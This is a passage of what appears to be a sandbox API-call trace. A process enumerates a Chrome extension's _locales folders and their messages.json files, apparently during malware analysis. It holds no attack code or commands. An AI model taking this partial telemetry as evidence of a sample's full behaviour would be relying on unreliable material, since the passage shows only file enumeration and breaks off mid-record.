ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397d230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4827, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0279.007] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x833eb5b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833eb5b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397d230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4827, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0279.007] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.007] GetProcessHeap () returned 0x550000 [0279.007] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.007] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833f7900, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833fee30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x833fee30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0279.007] GetProcessHeap () returned 0x550000 [0279.007] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0279.007] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833f7900, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833fee30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x833fee30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.008] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833f7900, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833fee30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x833fee30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.008] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x833fee30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833fee30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397f940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x45bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0279.008] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x833fee30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833fee30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397f940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x45bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0279.008] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.008] GetProcessHeap () returned 0x550000 [0279.008] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.008] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83403c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83406360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83406360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0279.008] GetProcessHeap () returned 0x550000 [0279.009] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0279.009] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83403c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83406360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83406360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.009] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83403c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83406360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83406360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.009] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83406360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83408a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397f940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4b63, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0279.009] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83406360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83408a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397f940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4b63, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0279.009] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.009] GetProcessHeap () returned 0x550000 [0279.009] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.009] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8340b180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8340b180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8340b180, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bn", cAlternateFileName="")) returned 1 [0279.009] GetProcessHeap () returned 0x550000 [0279.009] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0279.009] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8340b180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8340b180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8340b180, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.071] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8340b180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8340b180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8340b180, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.071] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8340b180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8340b180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397f940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x52cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0279.071] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8340b180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8340b180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397f940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x52cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0279.071] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.071] GetProcessHeap () returned 0x550000 [0279.071] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.071] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8340ffa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834126b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834126b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0279.071] GetProcessHeap () returned 0x550000 [0279.071] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0279.071] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8340ffa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834126b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834126b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.071] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8340ffa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834126b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834126b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.071] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834126b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83414dc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397f940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x405d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0279.071] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834126b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83414dc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397f940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x405d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0279.071] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.072] GetProcessHeap () returned 0x550000 [0279.072] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.072] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83419be0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8341c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8341c2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0279.072] GetProcessHeap () returned 0x550000 [0279.072] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0279.072] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83419be0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8341c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8341c2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.079] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83419be0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8341c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8341c2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.079] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8341c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83421110, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83982050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4029, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0279.079] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8341c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83421110, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83982050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4029, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0279.079] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.079] GetProcessHeap () returned 0x550000 [0279.079] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.079] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83425f30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83428640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83428640, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0279.079] GetProcessHeap () returned 0x550000 [0279.079] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0279.079] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83425f30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83428640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83428640, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.079] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83425f30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83428640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83428640, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.079] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83428640, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83428640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83982050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f79, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0279.079] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83428640, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83428640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83982050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f79, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0279.080] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.080] GetProcessHeap () returned 0x550000 [0279.080] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.080] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8342d460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8342fb70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8342fb70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0279.080] GetProcessHeap () returned 0x550000 [0279.080] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0279.080] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8342d460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8342fb70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8342fb70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.086] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8342d460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8342fb70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8342fb70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.086] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8342fb70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83432280, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83982050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x406f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0279.086] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8342fb70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83432280, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83982050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x406f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0279.086] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.086] GetProcessHeap () returned 0x550000 [0279.086] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.086] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83434990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834370a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834370a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0279.086] GetProcessHeap () returned 0x550000 [0279.086] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0279.086] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83434990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834370a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834370a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.087] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83434990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834370a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, 